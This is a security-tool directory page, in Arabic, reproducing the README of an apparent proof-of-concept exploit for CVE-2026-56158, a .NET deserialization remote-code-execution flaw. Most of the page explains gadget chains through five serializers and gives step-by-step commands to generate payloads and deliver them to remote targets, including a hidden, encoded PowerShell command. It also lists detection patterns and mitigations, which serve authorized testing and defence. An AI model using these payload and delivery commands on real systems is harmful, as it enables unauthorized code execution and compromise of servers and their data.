Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — يولّد خمسة تنسيقات لحمولات إلغاء تسلسل .NET لـ CVE-2026-56158، ويُسلّمها عبر نقاط نهاية HTTP/SOAP/JSON، ويتضمن خادمًا وهميًا (mock server) وماسحًا ضوئيًا ومخرجات تقرير JSON. | Kitploit
أدوات/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
ماسحات الثغرات الأمنيةتوليد الحمولةتحليل الشفرة الثابت (SAST)تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubsam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

يولّد خمسة تنسيقات لحمولات إلغاء تسلسل .NET لـ CVE-2026-56158، ويُسلّمها عبر نقاط نهاية HTTP/SOAP/JSON، ويتضمن خادمًا وهميًا (mock server) وماسحًا ضوئيًا ومخرجات تقرير JSON.

عرض المستودع
19منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-56158 — استغلال إثبات المفهوم (PoC) لتنفيذ التعليمات البرمجية عن بُعد (RCE) في .NET Framework

حرجة (CVSS 9.8) — إلغاء تسلسل البيانات غير الموثوقة (CWE-502) في Microsoft .NET Framework ووقت تشغيل .NET تم التصحيح: 14 يوليو 2026 | منسوبة إلى: Positive Technologies (PT-2026-60174)


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • الإصدارات المتأثرة
  • نواقل الهجوم
  • بنية الاستغلال
  • بنية الملفات
  • التثبيت
  • الاستخدام خطوة بخطوة
  • الاختبار
  • الاكتشاف والتحصين
  • التخفيف
  • المراجع
  • إخلاء المسؤولية
  • الترخيص

نظرة عامة

CVE-2026-56158 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Microsoft .NET Framework ووقت تشغيل .NET. يكمن الخلل في الإلغاء غير الآمن لتسلسل البيانات غير الموثوقة (CWE-502) — عندما يستخدم تطبيق .NET أدوات التسلسل القديمة (BinaryFormatter, , , ) أو Json.NET مع خيار ، يمكن لمهاجم بعيد غير مصادق تسليم حمولة متسلسلة مصمّمة خصيصًا تؤدي إلى تنفيذ تعليمات برمجية عشوائية عند إلغاء التسلسل.

NetDataContractSerializer
SoapFormatter
ObjectStateFormatter
TypeNameHandling.All/Auto

تحمل الثغرة درجة أساسية 9.8 حرجة وفق معيار CVSS 3.1 مع المتجه AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H، مما يعني:

  • متجه الهجوم: شبكة (لا حاجة لوصول مادي)
  • تعقيد الهجوم: منخفض
  • الصلاحيات المطلوبة: لا شيء
  • تفاعل المستخدم: لا شيء
  • الأثر: اختراق كامل للسرية والنزاهة والتوافر

أصدرت Microsoft تحديثات أمنية في 14 يوليو 2026 ضمن دورة Patch Tuesday الشهرية.


تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2026-56158
العنوانثغرة تنفيذ التعليمات البرمجية عن بُعد في .NET Framework
CVSS 3.19.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 عالية (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502 (إلغاء تسلسل البيانات غير الموثوقة)
تاريخ النشر14 يوليو 2026
تاريخ التصحيح14 يوليو 2026
الجهة المكتشفةPositive Technologies (PT-2026-60174)
EPSSلم يتم تقييمها بعد
CISA KEVغير مدرجة

السبب الجذري

أدوات التسلسل القديمة في وقت تشغيل .NET تعيد بناء أنواع كائنات عشوائية من التدفقات المتسلسلة دون التحقق من النوع أو المحتوى. عندما يتحكم المهاجم في الإدخال المتسلسل، يمكنه توجيه أداة إلغاء التسلسل لإنشاء أنواع غير متوقعة تتيح منشئاتها أو استدعاءاتها العكسية أو واضعات خصائصها تنفيذ تعليمات برمجية عشوائية — هجوم سلسلة أدوات (gadget chain) كلاسيكي لإلغاء التسلسل.

تؤثر الثغرة على عدة آليات تسلسل:

  1. BinaryFormatter — تدفق ثنائي مع بيانات وصفية للنوع؛ سلسلة أدوات TypeConfuseDelegate تفوّض إلى Process.Start
  2. NetDataContractSerializer — تنسيق XML يتضمن معلومات أنواع .NET؛ يسمح بإنشاء أنواع مباشرة
  3. SoapFormatter — غلاف XML بنمط SOAP مع مراجع أنواع CLR؛ ProcessStartInfo مضمّن في جسم SOAP
  4. ObjectStateFormatter — تنسيق ثنائي لـ ASP.NET ViewState؛ Process.Start عبر حقل ViewState
  5. Json.NET (Newtonsoft.Json) — JSON مع بيانات وصفية $type عند تفعيل TypeNameHandling.All/Auto؛ أداة ObjectDataProvider تستدعي Process.Start

الإصدارات المتأثرة

المنتجالنطاق المتأثرالإصدار المُصحَّحمقالة KB
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5كل ما قبل التصحيحتم التصحيحKB5100985
.NET Framework 4.6.2–4.7.2كل ما قبل التصحيحتم التصحيحKB5100991
.NET Framework 4.8كل ما قبل التصحيحتم التصحيحKB5101011
.NET Framework 4.8.1كل ما قبل التصحيحتم التصحيحKB5101002
Visual Studio 2022 (17.12)ما قبل التصحيح17.12.x—
Visual Studio 2022 (17.14)ما قبل التصحيح17.14.x—
Visual Studio 2026 (18.7)ما قبل التصحيح18.7.x—

حزم Alpine Linux:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

نواقل الهجوم

ينشئ هذا الاستغلال (PoC) الحمولات ويوصلها عبر 5 تنسيقات مختلفة لهجمات إلغاء التسلسل:

1. BinaryFormatter (أداة TypeConfuseDelegate)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • التنسيق: ثنائي (تدفق .NET متسلسل)
  • Content-Type: application/octet-stream
  • التوصيل: نص طلب HTTP POST، ملف
  • الأداة: ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • التنسيق: XML مع معلومات أنواع .NET مضمّنة
  • Content-Type: application/octet-stream أو text/xml
  • التوصيل: نص طلب HTTP POST، نقطة نهاية WCF

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • التنسيق: غلاف SOAP XML مع مراجع أنواع CLR
  • Content-Type: text/xml
  • التوصيل: نقطة نهاية SOAP عبر WCF/ASMX

4. ObjectStateFormatter (ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • التنسيق: ثنائي (تنسيق ASP.NET ViewState)
  • Content-Type: application/octet-stream
  • التوصيل: حقل __VIEWSTATE في طلب HTTP POST

5. Json.NET (خيار TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • التنسيق: JSON مع بيانات وصفية $type
  • Content-Type: application/json
  • التوصيل: نقطة نهاية REST API مع خيار TypeNameHandling.All أو Auto

بنية الاستغلال

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

تدفق الهجوم

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

مخطط Mermaid

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

بنية الملفات

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

التثبيت

المتطلبات الأساسية

  • Python 3.8+ (مكتبة قياسية فقط — لا تبعيات خارجية)
  • الهدف: تطبيق .NET يستخدم إلغاء تسلسل غير آمن (للاستخدام في العالم الحقيقي)
  • لا يلزم تثبيت .NET للاختبار (يتضمن خادمًا وهميًا)

الاستنساخ

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

الاستخدام خطوة بخطوة

الخطوة 1: توليد الحمولات

قم بتوليد جميع تنسيقات الحمولات الخمسة بالأمر الافتراضي (calc.exe):

root@kitploit:~
python3 exploit.py

المخرجات:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

قم بالتوليد بأمر مخصص:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

الخطوة 2: الاختبار محليًا باستخدام خادم وهمي

شغّل الخادم الوهمي المدمج الذي يحاكي .NET الثغرة ووصّل جميع الحمولات:

root@kitploit:~
python3 exploit.py --listen

سيقوم هذا بما يلي:

  1. تشغيل خادم HTTP وهمي يحاكي نقطة نهاية .NET ثغرة
  2. توليد جميع تنسيقات الحمولات الخمسة
  3. توصيل كل حمولة إلى الخادم الوهمي
  4. التحقق من أن RCE قد تم تشغيلها (إلغاء التسلسل ← تنفيذ التعليمات البرمجية)
  5. توليد تقرير استغلال بصيغة JSON

المخرجات المتوقعة:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

منفذ مخصص:

root@kitploit:~
python3 exploit.py --listen --port 8080

الخطوة 3: حفظ الحمولة في ملف

احفظ تنسيق حمولة محددًا في ملف للتوصيل اليدوي:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

الخطوة 4: التوصيل إلى هدف بعيد

وصّل جميع الحمولات إلى هدف .NET بعيد:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

مع تجاوز شهادة SSL:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

الخطوة 5: فحص هدف بحثًا عن مؤشرات الثغرة

افحص هدفًا بحثًا عن إصدار .NET ونقاط نهاية إلغاء التسلسل ومشاكل ViewState:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

يتحقق هذا من:

  • ترويسات استجابة HTTP بحثًا عن مؤشرات إصدار .NET (X-AspNet-Version, X-Powered-By)
  • مسارات نقاط نهاية إلغاء التسلسل الشائعة (/api/deserialize, /Service.svc, إلخ.)
  • حالة حماية ASP.NET ViewState (التحقق من MAC، التشفير)

الخطوة 6: توليد تقرير الاستغلال

قم بتوليد تقرير JSON يحتوي على تفاصيل الاستغلال الكاملة:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

يتضمن التقرير:

  • بيانات تعريف CVE (المعرف، CVSS، CWE، المتجه)
  • تفاصيل الحمولة (التنسيق، الحجم، تجزئة SHA-256)
  • نتائج التوصيل (حالة HTTP، الاستجابة)
  • نتائج الفحص
  • حالة تأكيد RCE
  • المراجع

الاختبار

اختبارات الوحدة (74 اختبارًا)

root@kitploit:~
python3 test_exploit.py

تغطي الاختبارات:

  • توليد الحمولات لجميع التنسيقات الخمسة
  • حقن الأوامر المخصصة
  • ترميز Base64
  • توصيل الحمولات (HTTP، SOAP، JSON، ملف)
  • ماسح الثغرات (اكتشاف الإصدارات، اكتشاف نقاط النهاية)
  • المستمع الوهمي (تأكيد RCE، اكتشاف التنسيق)
  • توليد التقارير (مخرجات JSON، إنشاء الملفات)
  • سلامة الحمولات (التوليد الحتمي)
  • الحالات الحدية (أوامر فارغة، وسائط معقدة)

اختبارات من النهاية إلى النهاية (37 اختبارًا)

root@kitploit:~
python3 e2e_test.py

تغطي الاختبارات:

  • سلسلة الاستغلال الكاملة: التوليد ← التوصيل ← التحقق من RCE
  • جميع تنسيقات الحمولات الخمسة الموصلة إلى الخادم الوهمي
  • تأكيد RCE عبر تنسيقات متعددة
  • توصيل الحمولات عبر الملفات
  • تكامل ماسح الثغرات
  • توليد تقرير الاستغلال والتحقق منه

نتائج الاختبار

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

الاكتشاف والتحصين

شغّل أداة فحص الاكتشاف لتحديد تثبيتات .NET الثغرة:

root@kitploit:~
python3 detect.py

افحص الكود المصدري بحثًا عن أنماط إلغاء التسلسل غير الآمنة:

root@kitploit:~
python3 detect.py /path/to/source/code

تتحقق أداة الاكتشاف من:

  • إصدارات وقت تشغيل .NET المثبتة (عبر dotnet --list-runtimes)
  • إدخالات سجل Windows الخاصة بـ .NET Framework (Windows)
  • أنماط الكود المصدري: BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.Deserialize

التخفيف

  1. حدّث وقت تشغيل .NET إلى الإصدارات المُصحَّحة (8.0.29+، 9.0.18+، 10.0.10+)
  2. حدّث .NET Framework عبر Windows Update (KB5100985/KB5100991/KB5101011)
  3. استبدل BinaryFormatter بـ System.Text.Json أو DataContractSerializer مع ربط أنواع صارم
  4. طبّق قوائم السماح عبر SerializationBinder عند الحاجة إلى أدوات التسلسل القديمة
  5. عيّن مفتاح AppContext: Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. بالنسبة إلى ASP.NET ViewState: فعّل ViewStateMac وViewStateEncryption
  7. بالنسبة إلى Json.NET: تجنب TypeNameHandling.All/Auto؛ واستخدم TypeNameHandling.None
  8. احظر SoapFormatter وNetDataContractSerializer للإدخال غير الموثوق
  9. طبّق سياسات WDAC/AppLocker لتقييد إنشاء العمليات من تطبيقات .NET
  10. راقب العمليات الفرعية غير المتوقعة من dotnet.exe أو devenv.exe أو عمليات مضيف .NET المخصصة

المراجع

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — التحديث التراكمي لشهر يوليو 2026
  • MSRC — CVE-2026-56158
  • متعقب أمان Alpine — CVE-2026-56158
  • ملاحظات إصدار .NET 8.0.29

إخلاء المسؤولية

يُوفَّر هذا الاستغلال (إثبات المفهوم) لأغراض تعليمية واختبارات أمنية مصرَّح بها فقط. استخدم هذه الأداة فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني وقد يخالف قوانين الاحتيال وإساءة استخدام الحاسوب.

المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.


الترخيص

رخصة MIT — راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة